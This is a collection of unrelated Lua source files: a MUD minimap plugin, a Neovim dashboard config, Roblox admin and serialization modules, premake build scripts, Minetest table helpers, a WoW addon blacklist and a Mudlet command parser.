--|————————————————————————————————————————————————————————————————————————————————————————| --| DESCRIPTION --|————————————————————————————————————————————————————————————————————————————————————————| -- Contributors: RiftTalon --[[ Runs the entire minimap system. --]] --|————————————————————————————————————————————————————————————————————————————————————————| --| SETTINGS --|————————————————————————————————————————————————————————————————————————————————————————| local TILE_FILL = { ["Dunes"] = 12; ["Plains"] = 13; ["Salt"] = 17; ["Wasteland"] = 14; ["Arid"] = 18; ["Road"] = 10; ["Alley"] = 15; ["Ravine"] = 19; } local GRID_PX = 32 local WINDOW_SIZE = 7 local WINDOW_OFFSET = 0 local MAP_LIST = {} local SIZE = {} local PORTS = {} local PORT_COMMANDS = {} local MAPS = {} local LANDMARKS = {} --|————————————————————————————————————————————————————————————————————————————————————————| --| VARIABLES --|————————————————————————————————————————————————————————————————————————————————————————| local entryLength = 10 local mapping = false local palette = false local moveList = {} local lastMove local currentTile local exits local origPos --|————————————————————————————————————————————————————————————————————————————————————————| --| FUNCTIONS --|————————————————————————————————————————————————————————————————————————————————————————| function FindSpritePos(tile) -- () tile = tile / 10 local tileY = math.floor(tile) local tileX = math.floor(((tile - tileY) * 10) + 0.5) return {X = tileX, Y = tileY} end function DrawMap() -- () if not GetVariable("map") then SetVariable("map", "None") SetVariable("grid_x", 5 ) SetVariable("grid_y", 5 ) SetVariable("explore", "on" ) end local map = GetVariable("map") or "None" local mSize = WINDOW_SIZE win = GetPluginID() local locX, locY = tonumber(GetVariable("grid_x")), tonumber(GetVariable("grid_y")) local wCenter = GetInfo(250) / 2 local hCenter = GetInfo(280) / 2 if mSize > SIZE[map][1] then mSize = math.max(SIZE[map][1], 7) end local wSize = (mSize * GRID_PX) + 12 if not origPos then origPos = {} origPos[1] = wCenter origPos[2] = (hCenter - 400) + WINDOW_OFFSET end -- make miniwindow WindowCreate(win, origPos[1], origPos[2], wSize, wSize, -- pos/size 0, -- docked to 2, -- flags ColourNameToRGB "#343434") WindowSetZOrder(win, 40) WindowLoadImage(win, "background", "worlds/plugins/armageddon/images/arma_window_background.png") WindowLoadImage(win, "corners", "worlds/plugins/armageddon/images/arma_corners.png" ) WindowLoadImage(win, "tilesheet", "worlds/plugins/armageddon/images/map/Tiles.png" ) WindowLoadImage(win, "grid", "worlds/plugins/armageddon/images/map/Grid.png" ) WindowLoadImage(win, "exits", "worlds/plugins/armageddon/images/map/Exits.png" ) if not GetVariable("token") then SetVariable("token", "Default") end WindowLoadImage(win, "marker", "worlds/plugins/armageddon/images/tokens/"..GetVariable("token")..".png") WindowDrawImage(win, "background", 2, 2, wSize - 2, wSize - 2, 2, 0, 0, 0, 0) if PORTS[map] and PORTS[map][locX..","..locY] then local port2 = PORTS[map][locX..","..locY] if port2[1] ~= map then SetVariable("map", port2[1]) end SetVariable("grid_x", port2[2]) SetVariable("grid_y", port2[3]) return DrawMap() end local startX, startY = math.max(locX - (mSize / 2), 0), math.max(locY - (mSize / 2), 0) local endX, endY = math.min(SIZE[map][1], locX + (mSize / 2)) - 1, math.min(SIZE[map][2] - 1, locY + (mSize / 2) - 1) startX, startY, endX, endY = math.floor(startX + 0.5), math.floor(startY + 0.5), math.floor(endX + 0.5), math.floor(endY + 0.5) local map = MAPS[map] local myX, myY for y = startY, endY do local info = map[y + 1] for x = startX, endX do local tile = info[x + 1] if tile then local exploreTable = {} if not GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")) then SetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_"), "0,0") end if GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")) then for word in string.gmatch(GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")), "%S+") do exploreTable[word] = true end end local on = false if x == locX and y == locY then on = true if not exploreTable[x..","..y] then SetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_"), GetVariable("explored_"..string.gsub(GetVariable("map"), " ", "_")).." "..x..","..y) end end for sprite in string.gmatch(tile, "%d+") do coord = FindSpritePos(sprite) if coord and tile ~= " " and (exploreTable[x..","..y] or on or GetVariable("explore") == "off") then WindowDrawImageAlpha(win, "tilesheet", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, coord.X * GRID_PX, coord.Y * GRID_PX) end end if tile ~= "" and tile ~= " " then WindowDrawImageAlpha(win, "grid", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, 0, 0) else WindowDrawImageAlpha(win, "grid", ((x - startX) * GRID_PX) + 6, ((y - startY) * GRID_PX) + 6, (((x - startX) + 1) * GRID_PX) + 6, (((y - startY) + 1) * GRID_PX) + 6, 1, GRID_PX, 0) end if on then myX, myY = x, y end end end end if GetVariable("token") and myX and myY then --WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) - 12, ((myY - startY) * GRID_PX) - 28, (((myX - startX) + 1) * GRID_PX) + 20, (((myY - startY) + 1) * GRID_PX) + 20, 1, 0, 0) WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) - 10, ((myY - startY) * GRID_PX) - 10, (((myX - startX) + 1) * GRID_PX) + 38, (((myY - startY) + 1) * GRID_PX) + 38, 1, 0, 0) elseif myX and myY then WindowDrawImageAlpha(win, "marker", ((myX - startX) * GRID_PX) + 6, ((myY - startY) * GRID_PX) + 6, (((myX - startX) + 1) * GRID_PX) + 6, (((myY - startY) + 1) * GRID_PX) + 6, 1, 0, 0) end WindowDrawImageAlpha(win, "corners", 0, 0, 16, 16, 1, 0, 0 ) WindowDrawImageAlpha(win, "corners", wSize - 16, 0, wSize, 16, 1, 16, 0 ) WindowDrawImageAlpha(win, "corners", 0, wSize - 16, 16, wSize, 1, 0, 16) WindowDrawImageAlpha(win, "corners", wSize - 16, wSize - 16, wSize, wSize, 1, 16, 16) if exits then if string.find(exits, "N") then WindowDrawImageAlpha(win, "exits", (wSize / 2) - 4, 0, (wSize / 2) + 4, 8, 1, 0, 0) end if string.find(exits, "E") then WindowDrawImageAlpha(win, "exits", wSize - 8, (wSize / 2) - 4, wSize, (wSize / 2) + 4, 1, 8, 0) end if string.find(exits, "S") then WindowDrawImageAlpha(win, "exits", (wSize / 2) - 4, wSize - 8, (wSize / 2) + 4, wSize, 1, 0, 8) end if string.find(exits, "W") then WindowDrawImageAlpha(win, "exits", 0, (wSize / 2) - 4, 8, (wSize / 2) + 4, 1, 8, 8) end end WindowShow(win, true) end function PrintGrid() -- () Note("You are at: " .. GetVariable("grid_x") .. ", " .. GetVariable("grid_y")) end function MoveMade(move) -- () if mapping then moveList[#moveList + 1] = move end end function StopMove() -- () moveList = {} end function ChangeGridX(inc, override) -- (number, boolean) currentTile = nil if mapping or override then inc = GetVariable("grid_x") + inc if inc > tonumber(GetVariable("grid_x")) then lastMove = "E" elseif inc < tonumber(GetVariable("grid_x")) then lastMove = "W" end SetVariable("grid_x", inc) --PrintGrid() DrawMap() end end function ChangeGridY(inc, override) -- (number, boolean) currentTile = nil if mapping or override then inc = GetVariable("grid_y") + inc if inc > tonumber(GetVariable("grid_y")) then lastMove = "S" elseif inc < tonumber(GetVariable("grid_y")) then lastMove = "N" end SetVariable("grid_y", inc) --PrintGrid() DrawMap() end end function SetGrid(incx, incy) -- (number, number) currentTile = nil if GetVariable("grid_x") ~= tostring(incx) or GetVariable("grid_y") ~= tostring(incy) then SetVariable("grid_x", incx) SetVariable("grid_y", incy) PrintGrid() DrawMap() end end function ChangeMap(newMap) -- (string) if GetVariable("map") ~= newMap then if MAPS[newMap] then SetVariable("map", newMap) Note(newMap, " loaded.") SetGrid(0, 0) ActivateNotepad("Map_"..GetVariable("map")) DrawMap() else Note("No such map found, check your capitalization.") end end end function ListMaps() -- () for map, _ in pairs(MAPS) do Note(map) end end function UndoMove() -- () if mapping then table.remove(moveList, 1) end end function ToggleMapping(state) -- (boolean) if state == nil then mapping = not mapping if mapping then Note("Mapping toggled on.") else Note("Mapping toggled off.") end else mapping = state end end function ToggleExplore() -- () if GetVariable("explore") == "off" then SetVariable("explore", "on") Note("Exploration toggled on.") else SetVariable("explore", "off") Note([[WARNING! YOU HAVE TOGGLED EXPLORATION OFF! DOING THIS CAN GET YOU PERMANENTLY BANNED FROM ARMAGEDDON! USE AT YOUR OWN RISK!]]) end DrawMap() end function MapSize(newSize) -- (number) if type(newSize) == "number" and tonumber(newSize) >= 7 then WINDOW_SIZE = 7--tonumber(newSize) Note("Changed map window size to: ", newSize) else Note("Map window size must be set to a number at or above 7.") end DrawMap() end function Add(selected, x, y) -- (string, number, number) local override = false local map = MAPS[GetVariable("map")] if not x or not y then x, y = GetVariable("grid_x") + 1, GetVariable("grid_y") + 1 else x, y = x + 1, y + 1 override = true end if map[y] and map[y][x] and (not string.find(map[y][x], selected, 1, true) or override) then if #map[y][x] < 1 then map[y][x] = map[y][x]..selected else map[y][x] = map[y][x].."/"..selected end DrawMap() ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true)) end end function SetCurrentTile(tileName) -- (string) currentTile = tileName local x, y = GetVariable("grid_x"), GetVariable("grid_y") local map = MAPS[GetVariable("map")] if map[x+1] == " " and map[y+1] == " " then AutoTile() end end function AutoTile() -- () local x, y = GetVariable("grid_x") + 1, GetVariable("grid_y") + 1 local map = MAPS[GetVariable("map")] local fill = TILE_FILL[currentTile] if fill then if map[y] and map[y][x] then map[y][x] = fill DrawMap() end Note("Filled ", currentTile, " with: ", fill) ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true)) else Note("Tile is not auto-tile compatible.") end end function Clear(x, y) -- (number, number) local map = MAPS[GetVariable("map")] if not x or not y then x, y = GetVariable("grid_x"), GetVariable("grid_y") end if map[y+1] and map[y+1][x+1] then map[y+1][x+1] = "" DrawMap() ReplaceNotepad("Map_"..GetVariable("map"), GetMapText(true)) end end function GetMapText(whitespace) -- (boolean) local newMap = "{" local map = MAPS[GetVariable("map")] local function append(text) newMap = newMap..text end for y = 1, #map do if whitespace then append("\r") end append("\n{ ") for x = 1, #map[y] do if map[y][x] == "" or map[y][x] == " " then append([[(" " )]]) else local dupeList = "" for char in string.gmatch(map[y][x], ".") do if not string.find(dupeList, char, 1, true) and char ~= " " then dupeList = dupeList..char end end map[y][x] = dupeList local toAppend = [[("]]..map[y][x]..[["]] for i = 1, entryLength - (#map[y][x] + 4) do toAppend = toAppend.." " end append(toAppend..")") end if x ~= #map[y] then append(",") end end append(" }; -- "..y - 1) if whitespace then append("\r") end end append("\n}") return newMap end function Port(pType) -- () local newPort = PORT_COMMANDS[GetVariable("map")] if newPort and newPort[pType] then newPort = newPort[pType] if newPort[GetVariable("grid_x")..","..GetVariable("grid_y")] then newPort = newPort[GetVariable("grid_x")..","..GetVariable("grid_y")] SetVariable("map", newPort[1]) SetVariable("grid_x", newPort[2]) SetVariable("grid_y", newPort[3]) DrawMap() return true end end return false end function SetToken(token) -- (string) SetVariable("token", token) Note("Map token was set to ["..token.."]") DrawMap() end function TokenList() -- () local importList = loadfile("worlds/plugins/armageddon/images/tokens/TokenList.lua")() Note("") Note("List of Map Tokens:") for _, token in ipairs(importList) do Note(token) end Note("") end function TogglePalette() -- () if not palette then WindowShow(win2, true) palette = true else WindowShow(win2, false) palette = false end end function AddAutoPort(match, map, x, y) -- todo end function AddRows(num, anchor, optMap) local map = MAPS[GetVariable("map")] if optMap then map = MAPS[optMap] end for i = 1, num do local row = {} for n = 1, SIZE[GetVariable("map")][1] do table.insert(row, " ") end if anchor == "start" then table.insert(map, 1, row) elseif anchor == "end" then table.insert(map, #map + 1, row) end end SIZE[GetVariable("map")][2] = SIZE[GetVariable("map")][2] + num if anchor == "start" then ChangeGridY(num) end DrawMap() end function AddColumns(num, anchor, optMap) local map = MAPS[GetVariable("map")] if optMap then map = MAPS[optMap] end for i = 1, num do for _, tileSet in pairs(map) do if anchor == "start" then table.insert(tileSet, 1, " ") elseif anchor == "end" then table.insert(tileSet, #tileSet + 1, " ") end end end SIZE[GetVariable("map")][1] = SIZE[GetVariable("map")][1] + num if anchor == "start" then ChangeGridX(num) end DrawMap() end function Import(map, overrideMessages) -- (table/string, boolean) local loadedMap if map and type(map) == "string" then loadedMap = loadfile("worlds/plugins/armageddon/maps/"..map..".lua") end if loadedMap then local p, pc, m, l = loadedMap() SIZE[map] = {#m[1], #m} PORTS[map] = p PORT_COMMANDS[map] = pc MAPS[map] = m for title, info in pairs(l) do LANDMARKS[title] = info end if not overrideMessages then Note("Map Imported: ", map) end elseif type(map) == "table" then MAPS[GetVariable("map")] = map if not overrideMessages then Note("Map Imported: ", GetVariable("map")) end DrawMap() elseif not overrideMessages then Note("Map Failed: ", map) end end function Compass(name, line, wildcards) local foundLandmark for title, info in pairs(LANDMARKS) do if line:match(title) or line:sub(1, #title) == title then foundLandmark = info end end if foundLandmark then table.remove(moveList, 1) ChangeMap(foundLandmark[1]) SetGrid(foundLandmark[2], foundLandmark[3]) else if #moveList > 0 then local move = table.remove(moveList, 1) local didPort = Port(move) if not didPort then if move == "North" then SetVariable("grid_y", GetVariable("grid_y") - 1) elseif move == "East" then SetVariable("grid_x", GetVariable("grid_x") + 1) elseif move == "South" then SetVariable("grid_y", GetVariable("grid_y") + 1) elseif move == "West" then SetVariable("grid_x", GetVariable("grid_x") - 1) end end end exits = wildcards[0] DrawMap() exits = nil end end function MakeMoves() -- () for i = 1, #moveList do local move = table.remove(moveList, 1) if move == "North" then SetVariable("grid_y", GetVariable("grid_y") - 1) elseif move == "East" then SetVariable("grid_x", GetVariable("grid_x") + 1) elseif move == "South" then SetVariable("grid_y", GetVariable("grid_y") + 1) elseif move == "West" then SetVariable("grid_x", GetVariable("grid_x") - 1) end end end function Setup() -- () -- make palette window win2 = GetPluginID().."1" -- make miniwindow WindowCreate(win2, 0, 0, 352, 352, -- pos/size 4, -- docked to 4, -- flags ColourNameToRGB "lightgray") WindowLoadImage(win2, "ref", "worlds/plugins/armageddon/images/map/Tiles_Palette.png") WindowRectOp(win2, 2, 0, 0, 0, 0, ColourNameToRGB "lightgray") WindowDrawImage(win2, "ref", 0, 0, 0, 0, 1, 0, 0, 0, 0) WindowSetZOrder(win2, 40) MAP_LIST = loadfile("worlds/plugins/armageddon/maps/MapList.lua")() -- load maps for _, map in pairs(MAP_LIST) do Import(map, true) end DoAfterSpecial(1, "DrawMap()", 12) end function OnPluginDisable() -- () WindowShow (win, false) WindowShow (win2, false) end --|————————————————————————————————————————————————————————————————————————————————————————| --| CALLS --|————————————————————————————————————————————————————————————————————————————————————————| Setup()
local alpha = require("alpha") local dashboard = require("alpha.themes.dashboard") local function footer() local version = vim.version() local print_version = "v" .. version.major .. "." .. version.minor .. "." .. version.patch local datetime = os.date("%Y/%m/%d %H:%M:%S") return print_version .. ' ' .. datetime end local banner = { [[ _) ]], [[ __ \ _ \ _ \ \ \ / | __ `__ \ ]], [[ | | __/ ( | \ \ / | | | | ]], [[_| _| \___| \___/ \_/ _| _| _| _| ]], } dashboard.section.header.val = banner dashboard.section.buttons.val = { dashboard.button('e', ' New file', ':enew<CR>'), dashboard.button('f', ' Find file', ':NvimTreeOpen<CR>'), dashboard.button('s', ' Settings', ':e $MYVIMRC<CR>'), dashboard.button('u', ' Update plugins', ':PackerUpdate<CR>'), dashboard.button('q', ' Quit', ':qa<CR>'), } dashboard.section.footer.val = footer() alpha.setup(dashboard.config)
--[[ TheNexusAvenger Loads the game commands and types. --]] local ServerScriptService = game:GetService("ServerScriptService") local ReplicatedStorage = game:GetService("ReplicatedStorage") local NexusAdminAPI = require(ServerScriptService:WaitForChild("NexusAdmin")) local NexusAdminTypes = ReplicatedStorage:WaitForChild("NexusAdminTypes") local ClientTypesLoader = script.Parent:WaitForChild("ClientTypesLoader") local Commands = script.Parent:WaitForChild("Commands") --Load the types. for _,Module in pairs(NexusAdminTypes:GetChildren()) do if Module:IsA("ModuleScript") then require(Module)(NexusAdminAPI) end end --Loads the commands. for _,Module in pairs(Commands:GetChildren()) do if Module:IsA("ModuleScript") then local CommandData = require(Module) CommandData.Prefix = NexusAdminAPI.Configuration.CommandPrefix CommandData.Category = "GameCommands" CommandData.AdminLevel = 2 NexusAdminAPI.Registry:LoadCommand(CommandData) end end --Load the types on the client. NexusAdminAPI.Replicator:GiveStarterScript(ClientTypesLoader) --Return true so that it doesn't error. return true
project "SOIL2" kind "StaticLib" language "C++" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bint/" .. outputdir .. "/%{prj.name}") files { "srcs/etc1_utils.c", "srcs/image_DXT.c", "srcs/image_helper.c", "srcs/SOIL2.c" } filter "system:windows" buildoptions { "-std=c17", "-lgdi32" } systemversion "latest" staticruntime "On" --files{} includedirs { "incs" } filter "system:windows" buildoptions { "-std=c17", "-lgdi32" } systemversion "latest" staticruntime "On" filter { "system:windows", "configurations:Release" } buildoptions "/MT"
-- Returns the greatest numeric key in a table. function xdecor.maxn(T) local n = 0 for k in pairs(T) do if k > n then n = k end end return n end -- Returns the length of an hash table. function xdecor.tablelen(T) local n = 0 for _ in pairs(T) do n = n + 1 end return n end -- Deep copy of a table. Borrowed from mesecons mod (https://github.com/Jeija/minetest-mod-mesecons). function xdecor.tablecopy(T) if type(T) ~= "table" then return T end -- No need to copy. local new = {} for k, v in pairs(T) do if type(v) == "table" then new[k] = xdecor.tablecopy(v) else new[k] = v end end return new end
-------------------------------------------------------------------- -- This file was automatically generated by ProjectGenerator -- which is tooling part the build system designed for GUCEF -- (Galaxy Unlimited Framework) -- For the latest info, see http://www.VanvelzenSoftware.com/ -- -- The contents of this file are placed in the public domain. Feel -- free to make use of it in any way you like. -------------------------------------------------------------------- -- -- Configuration for module: MyGUI.OgrePlatform configuration( { "LINUX32" } ) project( "MyGUI.OgrePlatform" ) configuration( { "LINUX64" } ) project( "MyGUI.OgrePlatform" ) configuration( { "WIN32" } ) project( "MyGUI.OgrePlatform" ) configuration( {} ) location( os.getenv( "PM5OUTPUTDIR" ) ) configuration( {} ) targetdir( os.getenv( "PM5TARGETDIR" ) ) configuration( {} ) language( "C" ) configuration( { "LINUX32" } ) language( "C++" ) configuration( { "LINUX64" } ) language( "C++" ) configuration( { "WIN32" } ) language( "C++" ) configuration( { "LINUX32" } ) configuration( { LINUX32 } ) kind( "SharedLib" ) configuration( { "LINUX64" } ) configuration( { LINUX64 } ) kind( "SharedLib" ) configuration( { "WIN32" } ) configuration( { WIN32 } ) kind( "SharedLib" ) configuration( { LINUX32 } ) links( { "MyGUI.Engine", "Ogre" } ) links( { "MyGUI.Engine", "Ogre" } ) configuration( { LINUX64 } ) links( { "MyGUI.Engine", "Ogre" } ) links( { "MyGUI.Engine", "Ogre" } ) configuration( { WIN32 } ) links( { "MyGUI.Engine", "Ogre" } ) links( { "MyGUI.Engine", "Ogre" } ) configuration( { "LINUX32" } ) vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } } files( { "../../../Common/FileSystemInfo/FileSystemInfo.h", "include/MyGUI_LastHeader.h", "include/MyGUI_OgreDataManager.h", "include/MyGUI_OgreDataStream.h", "include/MyGUI_OgreDiagnostic.h", "include/MyGUI_OgrePlatform.h", "include/MyGUI_OgreRTTexture.h", "include/MyGUI_OgreRenderManager.h", "include/MyGUI_OgreTexture.h", "include/MyGUI_OgreVertexBuffer.h" } ) vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } } files( { "src/MyGUI_OgreDataManager.cpp", "src/MyGUI_OgreDataStream.cpp", "src/MyGUI_OgreRTTexture.cpp", "src/MyGUI_OgreRenderManager.cpp", "src/MyGUI_OgreTexture.cpp", "src/MyGUI_OgreVertexBuffer.cpp" } ) configuration( { "LINUX64" } ) vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } } files( { "../../../Common/FileSystemInfo/FileSystemInfo.h", "include/MyGUI_LastHeader.h", "include/MyGUI_OgreDataManager.h", "include/MyGUI_OgreDataStream.h", "include/MyGUI_OgreDiagnostic.h", "include/MyGUI_OgrePlatform.h", "include/MyGUI_OgreRTTexture.h", "include/MyGUI_OgreRenderManager.h", "include/MyGUI_OgreTexture.h", "include/MyGUI_OgreVertexBuffer.h" } ) vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } } files( { "src/MyGUI_OgreDataManager.cpp", "src/MyGUI_OgreDataStream.cpp", "src/MyGUI_OgreRTTexture.cpp", "src/MyGUI_OgreRenderManager.cpp", "src/MyGUI_OgreTexture.cpp", "src/MyGUI_OgreVertexBuffer.cpp" } ) configuration( { "WIN32" } ) vpaths { ["Platform Headers"] = { "**.h", "**.hpp", "**.hxx" } } files( { "../../../Common/FileSystemInfo/FileSystemInfo.h", "include/MyGUI_LastHeader.h", "include/MyGUI_OgreDataManager.h", "include/MyGUI_OgreDataStream.h", "include/MyGUI_OgreDiagnostic.h", "include/MyGUI_OgrePlatform.h", "include/MyGUI_OgreRTTexture.h", "include/MyGUI_OgreRenderManager.h", "include/MyGUI_OgreTexture.h", "include/MyGUI_OgreVertexBuffer.h" } ) vpaths { ["Platform Source"] = { "**.c", "**.cpp", "**.cs", "**.asm" } } files( { "src/MyGUI_OgreDataManager.cpp", "src/MyGUI_OgreDataStream.cpp", "src/MyGUI_OgreRTTexture.cpp", "src/MyGUI_OgreRenderManager.cpp", "src/MyGUI_OgreTexture.cpp", "src/MyGUI_OgreVertexBuffer.cpp" } ) configuration( {} ) includedirs( { "../../../../Ogre/OgreMain/include", "../../../../Ogre/OgreMain/include/Hash", "../../../../Ogre/OgreMain/include/Threading", "../../../../Ogre/OgreMain/src", "../../../../Ogre/OgreMain/src/nedmalloc", "../../../../Ogre/OgreMain/src/stbi", "../../../../Ogre/include", "../../../../freetype/include", "../../../../freetype/include/freetype", "../../../../freetype/include/freetype/config", "../../../../freetype/include/freetype/internal", "../../../../freetype/include/freetype/internal/services", "../../../../freetype/src", "../../../../freetype/src/winfonts", "../../../MyGUIEngine/include" } ) configuration( { "LINUX32" } ) includedirs( { "../../../Common/FileSystemInfo", "include" } ) configuration( { "LINUX64" } ) includedirs( { "../../../Common/FileSystemInfo", "include" } ) configuration( { "WIN32" } ) includedirs( { "../../../../Ogre/OgreMain/include/WIN32", "../../../../Ogre/OgreMain/src/WIN32", "../../../Common/FileSystemInfo", "include" } )
workspace "OpenDireEngine" architecture "x64" configurations { "Debug", "Release" } startproject "OpenDireEngine" outputdir = "%{cfg.buildcfg}-%{cfg.system}-%{cfg.architecture}" IncludeDir = {} IncludeDir["GLFW"] = "OpenDireEngine/vendor/GLFW/include" IncludeDir["Glad"] = "OpenDireEngine/vendor/Glad/include" IncludeDir["glm"] = "OpenDireEngine/vendor/glm" IncludeDir["ImGui"] = "OpenDireEngine/vendor/imgui" include "OpenDireEngine/vendor/GLFW" include "OpenDireEngine/vendor/Glad" include "OpenDireEngine/vendor/imgui" project "OpenDireEngine" location "OpenDireEngine" kind "ConsoleApp" language "C++" targetdir ("bin/" .. outputdir .. "/%{prj.name}") objdir ("bin-int/" .. outputdir .. "/%{prj.name}") systemversion "latest" files { "%{prj.name}/src/**.h", "%{prj.name}/src/**.hpp", "%{prj.name}/src/**.cpp", "%{prj.name}/vendor/glm/glm/**.hpp", "%{prj.name}/vendor/glm/glm/**.inl", "%{prj.name}/vendor/stb_image/**.h", "%{prj.name}/vendor/stb_image/**.cpp" } includedirs { "%{prj.name}/vendor/glad/include", "%{prj.name}/vendor/glad/src", "%{prj.name}/vendor/glfw/include", "%{prj.name}/vendor/glfw/src", "%{prj.name}/vendor/opengl3/include", "%{IncludeDir.glm}", "${IncludeDir.ImGui}", "%{prj.name}/vendor/stb_image" } links { "GLFW", "Glad", "ImGui", "opengl32.lib" } filter "configurations:Debug" defines { "DEBUG" } symbols "on" filter "configurations:Release" defines { "NDEBUG" } optimize "on"
Multishot_dbBlacklist = { [16803] = true, -- Naxxramas: DeathKnight Understudy (Razuvious "adds") [15930] = true, -- Naxxramas: Feugen (Thaddius pre-event) [15929] = true, -- Naxxramas: Stalagg (Thaddius pre-event) [32933] = true, -- Ulduar: Left Arm (Kologarn's arms) [32934] = true, -- Ulduar: Right Arm (Kologarn's arms) [33136] = true, -- Ulduar: Guardian of Yogg-Saron [37217] = true, -- Icecrown Citadel: Precious (Festergut/Rotface "pets") [37025] = true, -- Icecrown Citadel: Stinky (Festergut/Rotface "pets") [36477] = true, -- Pit of Saron: Ick (bug report, commentid: 238028) }
local ReflectionDatabase = require(script.Parent.ReflectionDatabase) local CanonicalProperty = require(script.Parent.CanonicalProperty) local patches = { Part = { Size = { type = {type = "data", name = "Vector3"}, tags = {}, canSave = true, canLoad = true, }, Color = { type = {type = "data", name = "Color3"}, tags = {}, canSave = true, canLoad = true, }, }, } local PropertySelection = { All = { ignoreDefaults = false, ignoreUnserializable = false, }, Minimal = { ignoreDefaults = true, ignoreUnserializable = false, }, MinimalSerializable = { ignoreDefaults = true, ignoreUnserializable = true, }, Serializable = { ignoreDefaults = false, ignoreUnserializable = true, }, } local function equalish(fromInstance, fromDatabase) local typeA = typeof(fromInstance) local typeB = typeof(fromDatabase) if typeA == "EnumItem" and typeB == "number" then return fromInstance.Value == fromDatabase else return fromInstance == fromDatabase end end local function readInstance(instance, selectionMode) if selectionMode == nil then selectionMode = PropertySelection.All end local ignoreDefaults = selectionMode.ignoreDefaults local ignoreUnserializable = selectionMode.ignoreUnserializable local className = instance.ClassName local reflectionEntry = ReflectionDatabase.dump.classes[className] local output = {} while reflectionEntry ~= nil do for key, propertyDetails in pairs(reflectionEntry.properties) do local patchedInstance = patches[className] if patchedInstance ~= nil then local patchedProperty = patchedInstance[key] if patchedProperty ~= nil then propertyDetails = patchedProperty end end local success, value = CanonicalProperty.read(instance, key) if success then local skip = false if ignoreUnserializable then if propertyDetails.tags.ReadOnly or not propertyDetails.canSave then skip = true end end if not skip and ignoreDefaults then local defaultInstance = ReflectionDatabase.dump.defaults[className] if defaultInstance ~= nil then local defaultValue = defaultInstance[key] if equalish(value, defaultValue) then skip = true end end end if not skip then output[key] = value end else -- warn("Couldn't read:", value) end end local superclass = reflectionEntry.superclass if superclass == nil then break end reflectionEntry = ReflectionDatabase.dump.classes[superclass] end return output end local function writeInstance(instance, properties) for key, value in pairs(properties) do CanonicalProperty.write(instance, key, value) end end return { PropertySelection = PropertySelection, readInstance = readInstance, writeInstance = writeInstance, }
function splitargs(args) local retval = {} local spat, epat, buf, quoted = [=[^(['"])]=], [=[(['"])$]=] for str in args:gmatch("%S+") do local squoted = str:match(spat) local equoted = str:match(epat) local escaped = str:match([=[(\*)['"]$]=]) if squoted and not quoted and not equoted then buf, quoted = str, squoted elseif buf and equoted == quoted and #escaped % 2 == 0 then str, buf, quoted = buf .. ' ' .. str, nil, nil elseif buf then buf = buf .. ' ' .. str end if not buf then table.insert(retval, (str:gsub(spat,""):gsub(epat,""))) end end if buf then error("Missing matching quote for "..buf) end return retval end function gmcpVarByPath(varPath) local temp = gmcp for varStep in varPath:gmatch("([^\\.]+)") do if temp and temp[varStep] then temp = temp[varStep] else return nil end end return temp end -- Handles matching argument text to a list of subcommands. -- Each subcommand should be an object with the following properties: -- args: List of elements to match input against, each matching: -- a string to match exactly for the argument in this position -- a token indicating a type of variable argument in this position, one of: -- argName:string - any string -- argName:string? - any string, optional -- argName:number - any number -- argName:number? - any number, optional -- all optional arguments must appear after all non-optional arguments. -- action: A function, taking each variable argument as an argument. -- helpText: Description of what this subcommand does. -- -- If -- For example: -- local subcommands = {{ -- "args": {"list"}, -- "action": function() ...do stuff... end, -- "helpText": "List the things." -- },{ -- "args": {"show", "<thingName:string>"}, -- "action": function(thingName) ...do stuff... end, -- "helpText": "Find a given thing by name and show it" -- }} -- -- This would match against the second subcommand, effectively calling your function -- with "testName" as the argument. -- processCommand("shopkeeper", subcommands, "show testName") -- -- Calling this with "help" or any nonmatching argument will print out the list of -- subcommands and descriptions, using the commandName argument as the overall command -- name for documentation. function processCommand(commandName, subcommands, input) inputArgs = splitargs(input) for _, subcommand in pairs(subcommands) do local match = true local matchArgs = {} local foundOptArg = false -- Go through each subcommand arg to look for non-matches. Innocent until proven guilty. for i, arg in ipairs(subcommand.args) do local startIdx, _, argName, varType, argOpt = arg:find("([^:]+):?([^?]*)([?]?)") if not startIdx then error("Invalid subcommand argument specifier: "..arg) elseif foundOptArg and argOpt ~= "?" then error("Found non-optional argument ("..arg..") after optional argument.") end if varType == "" then -- Exact match for subcommand name if inputArgs[i] ~= argName then match = false end else -- Variable. Check type and optional state local rawValue = inputArgs[i] if varType == "number" then rawValue = tonumber(rawValue) if not rawValue then match = false end end -- Check that optional arguments are given values, or no match if argOpt == "?" then foundOptArg = true elseif not rawValue or rawValue == "" then match = false end table.insert(matchArgs, rawValue) end end -- Got too many arguments, fail if #inputArgs > #subcommand.args then match = false end if match then subcommand.action(unpack(matchArgs)) return end end if not (#inputArgs == 1 and inputArgs[1] == "help") then cecho("<red>Invalid syntax.<reset>\n\n") end cecho("<white>Available options for "..commandName.." command:<reset>") for _, subcommand in pairs(subcommands) do cecho("\n\n<yellow>"..commandName) for _, arg in ipairs(subcommand.args) do local _, _, argName, varType, argOpt = arg:find("([^:]+):?([^?]*)([?]?)") if varType == "" then cecho(" <yellow>"..argName) elseif argOpt == "?" then cecho(" <yellow>[<ansi_light_black>"..argName.."<yellow>]") else cecho(" <yellow><<light_gray>"..argName.."<yellow>>") end end cecho("<reset>\n\n"..subcommand.helpText) end echo("\n\n") end
